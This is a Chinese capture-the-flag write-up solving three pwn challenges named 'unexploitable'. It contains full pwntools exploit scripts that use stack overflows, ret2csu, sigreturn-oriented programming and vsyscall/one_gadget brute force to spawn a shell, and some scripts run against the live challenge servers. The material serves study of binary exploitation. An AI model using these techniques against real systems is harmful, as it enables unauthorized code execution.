pwn 题练习之 unexploitable

本篇wp中涉及三道pwn题,名字都叫做“unexploitable”。做完这三个题后,从保护措施及利用方法的区别,总结了如下对比图:

image-20221106180532380

pwnable.kr unexploitable

题目附件:pwnable.kr

分析

二进制基本信息如下

1
2
3
4
5
6
7
8
9
10
$ file unexploitable
unexploitable: setgid ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=aba2c1fb7a4bca286d75e23006f9fe01dfcb03c2, not stripped

$ checksec unexploitable
[*] '/home/bling/Downloads/kr-unexploitable/unexploitable'
Arch: amd64-64-little
RELRO: Partial RELRO # got表可写
Stack: No canary found # 未开启canary,栈溢出利用更方便了
NX: NX enabled # 栈不可执行
PIE: No PIE (0x400000) # 代码段未开启地址随机化

IDA反汇编,可以看到漏洞点超级明显,一个大大的栈溢出

1
2
3
4
5
6
7
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[16]; // [rsp+0h] [rbp-10h] BYREF

sleep(3u);
return read(0, buf, 0x50FuLL);
}

调试

通过如下脚本确定返回地址的偏移

1
2
3
4
5
6
7
8
9
10
from pwn import *
context(arch="amd64",os="linux",log_level="debug")

io =process("./unexploitable")

gdb.attach(io,"b *0x400577 \n c")
payload = cyclic(100)
io.send(payload)

io.interactive()

断点0x400577(main函数的ret)处,rsp处存放的4字节内容是gaaa,其偏移为24。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
───────────────────────────────────────────────────────────────────── stack ────
0x007ffe16adddc8│+0x0000: "gaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasa[...]" ← $rsp
0x007ffe16adddd0│+0x0008: "iaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaaua[...]"
0x007ffe16adddd8│+0x0010: "kaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawa[...]"
0x007ffe16addde0│+0x0018: "maaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaaya[...]"
0x007ffe16addde8│+0x0020: "oaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa"
0x007ffe16adddf0│+0x0028: "qaaaraaasaaataaauaaavaaawaaaxaaayaaa"
0x007ffe16adddf8│+0x0030: "saaataaauaaavaaawaaaxaaayaaa"
0x007ffe16adde00│+0x0038: "uaaavaaawaaaxaaayaaa"
─────────────────────────────────────────────────────────────── code:x86:64 ────
0x40056c <main+40> mov eax, 0x0
0x400571 <main+45> call 0x400430 <read@plt>
0x400576 <main+50> leave
●→ 0x400577 <main+51> ret
[!] Cannot disassemble from $PC

>>> cyclic_find("gaaa")
24

于是通过如下脚本,我们能控制该程序执行到任意ret_addr地址

1
2
3
4
5
6
7
8
9
10
11
from pwn import *
context(arch="amd64",os="linux",log_level="debug")

io =process("./unexploitable")

gdb.attach(io,"b *0x400577 \n c")
ret_addr = p64(0xdeadbeef)
payload = b"a"*24 + ret_addr
io.send(payload)

io.interactive()

利用

方法1 vsyscall暴破通解

由于ret时rsp指向的栈顶位置就是libc_start_main地址,因此无需使用vsyscall,直接覆盖返回地址的低3个字节为我们gadget的地址就行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *
context(arch="amd64",os="linux",log_level="debug")

s = ssh(host='pwnable.kr',user='unexploitable',password='guest',port=2222)

while True:
try:
myio = s.run('./unexploitable')
payload = b"a"*24 + b"\x47\xc2\xc9" # 0xc9c247
sleep(3)
myio.send(payload)
sleep(0.03)
myio.sendline("ls")
sleep(0.03)
myio.recv()
myio.sendline("ls")
sleep(0.03)
myio.recv()
myio.interactive()
break
except EOFError:
myio.close()

经过漫长的等待,某一次暴破成功的场景,如果将"ls"改成"cat flag"就能直接打印flag

image-20221030232949581

方法2 ROP

题目没有给libc,预期解法应该跟libc无关。确认题目程序无后门函数,为了获得shell,我们必须劫持控制流执行execve("/bin/sh")system("/bin/sh")。got表中没有这两个函数,在忽略libc的情况下,为执行execve("/bin/sh"),还有一种方法,就是利用系统调用syscall指令。如下,在程序中正好找到了一条syscall

1
2
$ ROPgadget --binary="./unexploitable" | grep "sys"
0x0000000000400560 : syscall

利用思路如下:

  1. read(0,bss_addr1,size):将"/bin/sh\x00"字符串写入bss段
  2. read(0,bss_addr2,size):将p64(0x400560)写入bss段,ret2csu方法中通过call [bss_addr2]来执行syscall指令 (1 2可合并成一步)
  3. read(0,bss_addr3,59):由于程序中无控制rax的gadget,所以利用该函数返回将RAX置为59,对应与execve的系统调用号
  4. execve(bss_addr1,0,0):设置好参数后(rax:59, rdi:"/bin/sh", rsi:0, rdx:0),跳转到syscall指令,完成利用
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from pwn import *
context(arch="amd64",os="linux",log_level="debug")

myelf = ELF("./unexploitable")
mylibc = ELF("./libc-2.23.so")
myld = ELF("./ld-2.23.so")

csu_first_addr = 0x4005e6
csu_second_addr = 0x4005d0
def csu(rbx, rbp, r12, r13, r14, r15, next_func):
payload = b'a'*24
payload += p64(csu_first_addr) + p64(0x0) + p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
payload += p64(csu_second_addr)
payload += b'b' * 0x38
payload += p64(next_func)
return payload

def csu_pad(rbx, rbp, r12, r13, r14, r15, next_func):
payload = b'a'*24
payload += p64(csu_first_addr) + p64(0x0) + p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
payload += p64(csu_second_addr)
payload += p64(0x0) + p64(rbx) + p64(rbp) + p64(0x601030) + p64(0x601028) + p64(0x0) + p64(0x0)
payload += p64(next_func)
return payload

# myio = process(argv=[myld.path,myelf.path],env={"LD_PRELOAD" : mylibc.path})
s = ssh(host='pwnable.kr',user='unexploitable',password='guest',port=2222)
myio = s.run('./unexploitable')

# gdb.attach(myio,"b *0x400577 \n c") # main's ret
# gdb.attach(myio,"b *0x4005DD \n c") # csu_init after call[r12]
# step1&step2,将"/bin/sh"写入0x601028地址处,将p64(0x400560)即syscall指令地址写入0x601030
# read(0,0x601028,30) ,read@got:0x601000, main:0x400544
payload = csu(0,1,0x601000,0,0x601028,30,0x400544)
myio.send(payload)
sleep(3)
myio.sendline(b"/bin/sh\x00"+p64(0x400560))

sleep(3)
# step3&step4,先利用read()将rax置为59,紧接着继续返回csu_init中调用syscall
# read(0,0x601040,59) , syscall: 0x400560
payload = csu_pad(0,1,0x601000,0,0x601050,59,0x4005d0)
myio.send(payload)
sleep(3)
myio.sendline(b"e"*58) # 自动加"\n",长度最终为59

myio.interactive()

方法3 SROP

我的利用方式是ret2csu+sigreturn,实际上有更简单的方法就是栈迁移+sigreturn

SROP时如果无需再次返回执行,只需要找syscall单条指令就行。如果需要返回执行,需要设置好rsp,并且找syscall; ret合二为一的gadget。

本题思路如下:

1、往bss段写入”/bin/sh\x00”字符串

2、在栈上构造好sigFrame结构体

3、利用read()将rax变成15

4、pop ip,执行sigreturn

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from pwn import *
context(arch="amd64",os="linux",log_level="debug")

myelf = ELF("./unexploitable")
mylibc = ELF("./remote-lib/libc-2.23.so")
myld = ELF("./remote-lib/ld-2.23.so")

csu_first_addr = 0x4005e6
csu_second_addr = 0x4005d0
syscall_addr = 0x400560
syscall_ret_addr = 0xffffffffff600007
read_got_addr = 0x601000
bss_bin_sh_addr = 0x601028
main_addr = 0x400544

def csu(rbx, rbp, r12, r13, r14, r15, next_func):
payload = b'a'*24
payload += p64(csu_first_addr) + p64(0x0) + p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15) # read(0,bss_bin_sh_addr,30) <<- "/bin/sh\x00"
payload += p64(csu_second_addr)
payload += p64(0x0) + p64(rbx) + p64(rbp) + p64(read_got_addr) + p64(0x0) + p64(0x601050) + p64(0xf) # read(0,bss_bin_sh_addr+0x28,15) <<-- arbitrary data, set rax be 15
payload += p64(next_func)
return payload

# myio = process(argv=[myld.path,myelf.path],env={"LD_PRELOAD" : mylibc.path})
s = ssh(host='pwnable.kr',user='unexploitable',password='guest',port=2222)
myio = s.run('./unexploitable')

# gdb.attach(myio,"b *0x400577 \n c")
# gdb.attach(myio,"b *0x4005DD \n c") # 0x4005DD
# payload = b"a"*24 + p64(0x400544) + b"b"*8 +b"c"*8
# read(0,bss_bin_sh_addr,30) <<- "/bin/sh\x00"
payload = csu(0,1,read_got_addr,0,bss_bin_sh_addr,30,csu_second_addr)
payload += p64(0x0)*7 # padding
payload += p64(syscall_addr) # sigreturn

frame = SigreturnFrame(kernel="amd64")
frame.rax = 59
frame.rdi = bss_bin_sh_addr
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall_addr
payload += bytes(frame)

myio.send(payload)
sleep(3)
# read(0,bss_bin_sh_addr,30)
myio.sendline(b"/bin/sh\x00")
sleep(3)
# read(0,bss_bin_sh_addr+0x28,15)
myio.sendline(b"a"*14)
myio.interactive()

其他方法参考

[pwnable.kr] unexploitable :栈迁移+sigreturn,此方法未使用通用gadgetlibc_csu_init,更简单

Pwnable Challenge: Unexploitable :如果目标服务器/tmp目录可写,local exp

知识点

SROP

CTFwiki-SROP

Sigreturn Oriented Programming攻击简介

Sigreturn-Oriented Programming (SROP)

  • 正常情况下的linux signal机制流程

    image-20221105143156572

    image-20221106144212266

    1、用户态某个进程发起signal,控制权转移到内核

    2、内核保存用户态进程的上下文信息(寄存器状态等),并把rt_sigreturn地址压栈。然后跳转到用户态执行signal handler

    3、signal handler执行完后,调用rt_sigreturn进入内核态

    4、内核恢复步骤2中保存的用户态进程上下文信息,后将控制权交给用户态进程

  • SROP利用的是后半部分

    第二步保存的上下文信息在用户栈中,用户态有权限改写

    在栈中布置好sigFrame结构体,执行sigreturn。再次从内核返回时,会弹出栈中sigFrame结构到各个寄存器,于是实现用户态控制流劫持。

    1
    2
    3
    4
    5
    6
    7
    8
    # pwntools中已集成SROP攻击的函数
    sigframe = SigreturnFrame()
    sigframe.rax = xxx
    sigframe.rdi = xxx
    sigframe.rsi = xxx
    sigframe.rdx = xxx
    sigframe.rsp = xxx
    sigframe.rip = xxx

ret2setcontext53

setcontext学习

setcontext 函数

堆题中常用的一个方法,设置的结构体跟SROP中构造的结构体是同一个。

该方法本题未使用,因为碰巧看到了,就暂时记在这里。

pwnable.tw unexploitable

pwnable.tw

在pwnable.kr的基础上,去掉了程序中的syscall指令

分析

题目给了一个二进制程序unexploitable和libc文件libc_64.so.6。先看一下基本信息:

  • 64位动态链接程序,未去符号表;
  • got表可写,栈未开canary,栈不可执行,未开代码段随机化
  • libc版本是2.23
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
$ file unexploitable 
unexploitable: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=aba2c1fb7a4bca286d75e23006f9fe01dfcb03c2, not stripped

$ checksec unexploitable
[!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 2)
[*] '/home/bling/Downloads/tw-unexploitable/unexploitable'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

$ strings libc_64.so.6| grep version
versionsort64
versionsort
argp_program_version_hook
gnu_get_libc_version
argp_program_version
RPC: Incompatible versions of RPC
RPC: Program/version mismatch
<malloc version="1">
Print program version
(PROGRAM ERROR) No version known!?
%s: %s; low version = %lu, high version = %lu
GNU C Library (Ubuntu GLIBC 2.23-0ubuntu5) stable release version 2.23, by Roland McGrath et al.
Compiled by GNU CC version 5.4.0 20160609.
crypt add-on version 2.1 by Michael Glad and others
.gnu.version
.gnu.version_d
.gnu.version_r

运行该程序,输入超长字符串后,程序崩溃

1
2
3
$ ./unexploitable 
111111111111111111111111111111111111111111111111111111111111111111111
[1] 32752 segmentation fault (core dumped) ./unexploitable

IDA中查看程序主要逻辑,很明显的一个栈溢出

1
2
3
4
5
6
7
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[16]; // [rsp+0h] [rbp-10h] BYREF

sleep(3u);
return read(0, buf, 0x100uLL);
}

调试

使用如下脚本发送100个字符给程序,观察main函数ret时栈顶的情况

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *
context(arch="amd64",os="linux",log_level="debug")

myelf = ELF("./unexploitable")
mylibc = ELF("./libc_64.so.6")
myio = process(myelf.path)

gdb.attach(myio)

sleep(3)
payload = cyclic(100)
myio.send(payload)

myio.interactive()

单步到ret指令处,此时栈顶的四字节为gaaa

1
2
3
4
5
6
7
8
9
──────────────────────────────────── stack ────
0x007ffd2806b8d8│+0x0000: "gaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasa[...]" ← $rsp
0x007ffd2806b8e0│+0x0008: "iaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaaua[...]"
─────────────────────────────── code:x86:64 ────
0x40056c <main+40> mov eax, 0x0
0x400571 <main+45> call 0x400430 <read@plt>
0x400576 <main+50> leave
→ 0x400577 <main+51> ret
[!] Cannot disassemble from $PC

所以返回地址的偏移为24

1
2
3
>>> from pwn import *
>>> cyclic_find("gaaa")
24

通过溢出main函数的返回地址,我们可以将控制流劫持到任意地址,如0xdeadbeef

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
context(arch="amd64",os="linux",log_level="debug")

myelf = ELF("./unexploitable")
mylibc = ELF("./libc_64.so.6")

myio = process(myelf.path)

sleep(3)
payload = b"a"*24 + p64(0xdeadbeef)
myio.send(payload)

myio.interactive()

利用

通过栈溢出,我们可以控制程序执行到任意地址,下一步该怎样呢?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
$ strings unexploitable| grep system

$ strings unexploitable| grep "/bin/sh"

$ ROPgadget --binary="./unexploitable" > rop.txt

$ cat rop.txt| grep pop
0x000000000040050b : add byte ptr [rcx], al ; add rsp, 8 ; pop rbx ; pop rbp ; ret
0x000000000040050e : add esp, 8 ; pop rbx ; pop rbp ; ret
0x000000000040050d : add rsp, 8 ; pop rbx ; pop rbp ; ret
0x000000000040064e : int1 ; add rsp, 8 ; pop rbx ; pop rbp ; ret
0x0000000000400536 : je 0x400540 ; pop rbp ; mov edi, 0x600e48 ; jmp rax
0x000000000040064d : jne 0x400640 ; add rsp, 8 ; pop rbx ; pop rbp ; ret
0x0000000000400538 : pop rbp ; mov edi, 0x600e48 ; jmp rax
0x0000000000400512 : pop rbp ; ret
0x0000000000400511 : pop rbx ; pop rbp ; ret
0x000000000040064c : push qword ptr [rbp - 0xf] ; add rsp, 8 ; pop rbx ; pop rbp ; ret

$ cat rop.txt| grep syscall

$ objdump -R ./unexploitable

./unexploitable: file format elf64-x86-64

DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
0000000000600fe0 R_X86_64_GLOB_DAT __gmon_start__
0000000000601000 R_X86_64_JUMP_SLOT read@GLIBC_2.2.5
0000000000601008 R_X86_64_JUMP_SLOT __libc_start_main@GLIBC_2.2.5
0000000000601010 R_X86_64_JUMP_SLOT sleep@GLIBC_2.2.5

可以看到,没有合适的gadget,程序中没有syscall指令,got表中没有puts/write/printf的信息泄露函数。那我们现在有什么呢?

  • 通用gadget段(libc_csu_init)可用
  • vsyscall(0xffffffffff600000)区域存在,可以当作一个ret
  • read/system函数在libc中偏移一定位置有syscall指令

所以,总的思路还是要么暴破,要么通过ROP(syscall)或者SROP

方法1 vsyscall暴破通解

本地打成功了,远程未成功

检查溢出字节,查看ret时栈中情况

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
context(arch="amd64",os="linux",log_level="debug")

myelf = ELF("./unexploitable")
mylibc = ELF("./libc_64.so.6")

myio = process(myelf.path)

sleep(3)
payload = b"a"*24 + b"b"
myio.send(payload)

myio.interactive()

如下,ret时,rsp中的值正好为libc中地址,因此我们可以找一条合适的onegadget,进行暴破。

image-20221031141752231

根据栈中的状态及onegadget的限制条件,确定libc中偏移为0xf0567的gadget可用

image-20221031142446714

本地的脚本代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *
context(arch="amd64",os="linux",log_level="debug")

while True:
try:
myio = process("./unexploitable")
payload = b"a"*24 + b"\xfc\xc2\xba" # one_gadget: 0x10a2fc
myio.send(payload)
sleep(0.03)
myio.sendline("ls")
sleep(0.03)
myio.recv()
myio.sendline("ls")
sleep(0.03)
myio.recv()
myio.interactive()
break
except EOFError:
myio.close()

远程代码如下,但是未成功,跑到800多次的时候远程服务器无响应了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *
context(arch="amd64",os="linux",log_level="debug")

a = 0 # 用于计数
while True:
try:
myio = remote("chall.pwnable.tw",10403)
sleep(3)
payload = b"a"*24 + b"\x67\x05\x9a" # 0xf0567,0xef6c4,0x4526a
myio.send(payload)
sleep(0.03)
myio.sendline("ls")
sleep(0.03)
myio.recv()
myio.sendline("ls")
sleep(0.03)
myio.recv()
myio.interactive()
break
except EOFError:
a += 1
print("[+++] {:d}".format(a))
myio.close()

方法2 ROP

利用ret2csu+read函数可以实现任意地址写任意值

ROP的思路如下:

  1. 改sleep的got表项内容,低1字节改成"\xDE"。sleep在libc中的偏移为0xCB680,在0xCB6DE处是一条syscall指令。
  2. 将“/bin/sh\x00”写到bss段,写入总长度位59,返回后rax被置为59
  3. 布置好rdi,rsi,rdx三个参数的值,通过syscall完成execve("/bin/sh",0,0)的调用,获得shell

完整利用代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *
context(arch="amd64",os="linux",log_level="debug")

csu_first_addr = 0x4005e6
csu_second_addr = 0x4005d0

def csu_chain(rbx, rbp):
payload = b'a'*24 + p64(csu_first_addr)
payload += p64(0x0) + p64(rbx) + p64(rbp) + p64(0x601000) + p64(0) + p64(0x601010) + p64(1) # read(0,0x601010,1)
payload += p64(csu_second_addr)
payload += p64(0x0) + p64(rbx) + p64(rbp) + p64(0x601000) + p64(0) + p64(0x601030) + p64(59) # read(0,0x601040,59)
payload += p64(csu_second_addr)
payload += p64(0x0) + p64(rbx) + p64(rbp) + p64(0x601010) + p64(0x601030) + p64(0) + p64(0) # execve(0x601030,0,0)
payload += p64(csu_second_addr)
return payload

myio = remote("chall.pwnable.tw",10403)

# myio = process("./unexploitable")
# gdb.attach(myio,"b *0x4005d6 \n c")

payload = csu2(0,1)
sleep(3)
myio.send(payload)
sleep(0.03)
# myio.send(b"\xa2") # local:\xa2 , ubuntu1804
myio.send(b"\xde") # remote: \xde
sleep(0.03)
myio.send(b"/bin/sh\x00"+b"a"*51)

myio.interactive()

方法3 SROP

栈迁移+sigreturn

参考wp:https://github.com/zj3t/pwnable.tw

其他暴破思路

  1. 改read_got为onegadget

    read函数在libc中的偏移:0xf6670

    0xf0567这条gadget的偏移:0xf0567

    只需要暴破半个字节

  2. 改sleep_got为execve

    本地打成功了,远程未成功

    sleep函数在libc中的偏移:0xCB680

    execve函数在libc中的偏移:0xCBBC0

    分三步:

    • 先把”/bin/sh”写到bss段,0x60130
    • 再布置好rdi,rsi,rdx,(利用csu gadget)
    • 回到调用sleep处

祥云杯2022 unexploitable

附件:unexploitable.tar

分析

二进制基本信息

1
2
3
4
5
6
7
8
9
10
$ file ./unexploitable 
./unexploitable: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=5d66afeabecb7b7190cfbdbc4bb6b5846c896e2a, stripped
$ checksec ./unexploitable
[*] '/home/bling/Downloads/unexploitable'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled

IDA打开看main函数逻辑,很明显有个栈溢出

1
2
3
4
5
6
7
8
9
10
11
12
__int64 __fastcall main(int a1, char **a2, char **a3)
{
sub_7D0();
return 0LL;
}

ssize_t sub_7D0()
{
char buf[16]; // [rsp+0h] [rbp-10h] BYREF

return read(0, buf, 0x30000uLL); /*栈溢出*/
}

执行二进制,确认输入超长字符串会使程序崩溃

1
2
3
$ ./unexploitable 
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Segmentation fault (core dumped)

调试

这个题直接用gdb ./unexploitable调试的话,执行完read(0, buf, 0x30000uLL)将返回-1,不知道是有反调试还是咋。最终用pwntools的gdb.attach()实现的调试,脚本如下:

1
2
3
4
5
6
7
8
9
from pwn import *
context(arch="amd64",os="linux",log_level="debug")

myio = process("./unexploitable")
gdb.attach(myio)
sleep(3)
payload = cyclic(50)
myio.send(payload)
myio.interactive()

得到偏移24后的8byte数据会覆盖sub_7D0()函数返回时的RIP

1
2
3
>>> from pwn import *
>>> cyclic_find("gaaa")
24

通过如下脚本,可以实现劫持控制流到任意地址ret_addr

1
2
3
4
5
6
7
8
9
10
from pwn import *
context(arch="amd64",os="linux",log_level="debug")

myio = process("./unexploitable")
gdb.attach(myio)
sleep(3)
ret_addr = 0xdeadbeef
payload = b"a"*24 + p64(ret_addr)
myio.send(payload)
myio.interactive()

利用

于是这个题,最让人困扰的地方到了。开了PIE,GOT表只读,没有puts/write/printf等可以泄露地址的函数。所以这个ret_addr改成什么呢?

此时无法通过泄露获得完整的地址,而栈上返回地址是返回到main中的。如果利用一下这个地址,ret_addr只覆盖低1字节,或者低2字节,是可以实现跳转到text段某个地址处执行的。但是琢磨了一圈也没想到合适的代码片段。

查看sub_7D0()函数返回时的状态,如下图。如果通过栈溢出将+0x0000+0x0008跳过,覆盖+0x0010低字节为某个onegadget的值,并将其pop到rip中,就能实现get shell。

image-20221030021539691

怎么pop呢?0xffffffffff600000[vsyscall]区域,可以当作一个单独的ret gadget,能满足上述要求。

题目给的libc中有如下三个one_gadget,根据调试时内存状态,选择了0x4f302这个。

1
2
3
4
5
6
7
8
9
10
11
12
0x4f2a5 execve("/bin/sh", rsp+0x40, environ)
constraints:
rsp & 0xf == 0
rcx == NULL

0x4f302 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL

0x10a2fc execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL

因此,我们只需将栈中覆盖成如下状态,就能达到执行libc中one_gadget的目的。其中302是固定的,x4f可以随机选择,我们需要暴破这1.5个字节,概率为1/(2^12) = 1/4096

image-20221030022435819

最终我选择的暴破目标是”84f302”,代码如下,在本地有一定的概率get shell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *
# context(arch="amd64",os="linux",log_level="error")
context(arch="amd64",os="linux",log_level="debug")

while True:
try:
myio = process("./unexploitable")
vsyscall_addr = 0xffffffffff600000
payload_str = b"a"*24 + p64(vsyscall_addr)+ p64(vsyscall_addr) + b"\x02\xf3\x84"
myio.send(payload_str)
sleep(0.03)
myio.sendline("cat flag")
sleep(0.03)
myio.recv()
myio.interactive()
break
except EOFError:
myio.close()

但是,打远程的时候有些奇怪现象出现,需要连续输入4次才有反应,打远程的exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *
# context(arch="amd64",os="linux",log_level="error")
context(arch="amd64",os="linux",log_level="debug")

while True:
try:
# mymyio = process("./unexploitable")
myio = remote("ip",port)
vsyscall_addr = 0xffffffffff600000
payload = b"a"*24 + p64(vsyscall_addr)+ p64(vsyscall_addr) + b"\x02\xf3\x84"
myio.send(payload)
sleep(0.03)
myio.send(payload)
sleep(0.03)
myio.send(payload)
sleep(0.03)
myio.send(payload)
sleep(0.03)
myio.sendline("cat flag")
sleep(0.03)
myio.sendline("cat flag")
sleep(0.03)
myio.sendline("cat flag")
sleep(0.03)
myio.sendline("cat flag")
sleep(0.03)
myio.recv()
myio.interactive()
break
except EOFError:
myio.close()

知识点 - vsyscall

使用vmmap可以看到vsyscall区域,它的起始地址是固定的0xffffffffff600000,可以将该地址抽象为一个ret(详细情况见文章:vsyscall bypass pie)。

1
2
3
4
5
6
gef➤  vmmap
[ Legend: Code | Heap | Stack ]
Start End Offset Perm Path
......
0x007fffda5e5000 0x007fffda5e6000 0x00000000000000 r-x [vdso]
0xffffffffff600000 0xffffffffff601000 0x00000000000000 --x [vsyscall] # 这里

在ubuntu16.04中,该区域可读。我们可以在gdb中查看到该区域的内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
gef➤  vmmap
......
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
gef➤ x/5i 0xffffffffff600000
0xffffffffff600000: mov rax,0x60 # sys_gettimeofday
0xffffffffff600007: syscall # 注意,劫持控制流直接到syscall这里是不可行的
0xffffffffff600009: ret
0xffffffffff60000a: int3
0xffffffffff60000b: int3
gef➤ x/5i 0xffffffffff600400
0xffffffffff600400: mov rax,0xc9 # sys_time
0xffffffffff600407: syscall
0xffffffffff600409: ret
0xffffffffff60040a: int3
0xffffffffff60040b: int3
gef➤ x/5i 0xffffffffff600800
0xffffffffff600800: mov rax,0x135 # sys_getcpu
0xffffffffff600807: syscall
0xffffffffff600809: ret
0xffffffffff60080a: int3
0xffffffffff60080b: int3